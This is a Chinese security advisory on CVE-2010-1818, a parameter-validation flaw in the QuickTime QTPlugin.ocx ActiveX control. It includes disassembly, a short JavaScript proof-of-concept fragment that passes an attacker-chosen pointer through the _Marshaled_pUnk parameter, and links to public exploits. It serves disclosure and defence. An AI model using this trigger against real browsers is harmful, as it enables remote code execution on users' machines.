安全研究
安全漏洞
QuickTime QTPlugin.ocx控件_Marshaled_pUnk参数验证漏洞
发布日期:2010-08-30
更新日期:2010-08-31
受影响系统:
Apple QuickTime Player 7.6.7 (1675)描述:
BUGTRAQ ID: 42841
CVE(CAN) ID: CVE-2010-1818
Apple QuickTime是一款非常流行的多媒体播放器。
QuickTime ActiveX控件(QTPlugin.ocx)实现了IPersistPropertyBag2::Read(1000E330)来处理所接收到的param:
.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E =======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330 proc near ; DATA XREF: .rdata:1002E0ECo
.text:1000E330 ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0 = dword ptr 4
.text:1000E330 arg_4 = dword ptr 8
.text:1000E330 arg_8 = dword ptr 0Ch
.text:1000E330
.text:1000E330 push esi
.text:1000E331 mov esi, [esp+4+arg_0]
.text:1000E335 mov ecx, [esi+84h]
.text:1000E33B xor eax, eax
.text:1000E33D test ecx, ecx
.text:1000E33F jz short loc_1000E393
.text:1000E341 mov eax, [esp+4+arg_8]
.text:1000E345 mov edx, [esp+4+arg_4]
.text:1000E349 push eax
.text:1000E34A push edx
.text:1000E34B call sub_100031F0
执行流:
sub_10002980+27A
sub_10002980+27A loc_10002BFA: ; CODE XREF: sub_10002980+266j
sub_10002980+27A ; sub_10002980+272j
sub_10002980+27A push offset aType ; "type"
sub_10002980+27F push ebx ; lpString1
sub_10002980+280 call ebp ; lstrcmpiA
sub_10002980+282 test eax, eax
sub_10002980+284 jnz short loc_10002C22
sub_10002980+286 push edi ; lpString
sub_10002980+287 call ds:lstrlenA
sub_10002980+28D cmp eax, 104h
sub_10002980+292 jnb short loc_10002C22
sub_10002980+294 push edi ; lpString2
sub_10002980+295 lea edx, [esi+83Ch]
sub_10002980+29B push edx ; lpString1
sub_10002980+29C call ds:lstrcpyA
sub_10002980+2A2
sub_10002980+2A2 loc_10002C22: ; CODE XREF: sub_10002980+284j
sub_10002980+2A2 ; sub_10002980+292j
sub_10002980+2A2 push offset a_marshaled_pun ; "_Marshaled_pUnk"
sub_10002980+2A7 push ebx ; lpString1
sub_10002980+2A8 call ebp ; lstrcmpiA
sub_10002980+2AA test eax, eax
sub_10002980+2AC jnz short loc_10002C4A
sub_10002980+2AE push edi
sub_10002980+2AF call sub_10001310 ; SIMPLE ASCII NUMBERS TO LONG routine
sub_10002980+2B4 add esp, 4
sub_10002980+2B7 lea ecx, [esi+13B8h]
sub_10002980+2BD push ecx ; ppv
sub_10002980+2BE push offset iid ; iid
sub_10002980+2C3 push eax ; pStm
sub_10002980+2C4 call ds:CoGetInterfaceAndReleaseStream ; WE HAVE A WINNER!!
sub_10002980+2CA
sub_10002980+2CA loc_10002C4A: ; CODE XREF: sub_10002980+2ACj
sub_10002980+2CA push edi ; int
QTPlugin.OCX控件检查对象的属性中是否存在_Marshaled_pUnk,如果存在就通过将地址从ASCII表示转换为数字表示(sub_10001310)进行散列,之后将所生成的指针用作了pStm(所要散列流上指向IStream接口的指针)CoGetInterfaceAndReleaseStream以获取所列集接口的IUnknown指针(pUnk),这样就获得了对IStream指针的控制。
<*来源:Ruben Santamarta (ruben@reversemode.com)
链接:http://secunia.com/advisories/41213/
http://www.exploit-db.com/exploits/14843/
http://marc.info/?l=bugtraq&m=128328769807164&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
https://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/brow
建议:
厂商补丁:
Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.apple.com
浏览次数:3294
严重程度:0(网友投票)
绿盟科技给您安全的保障
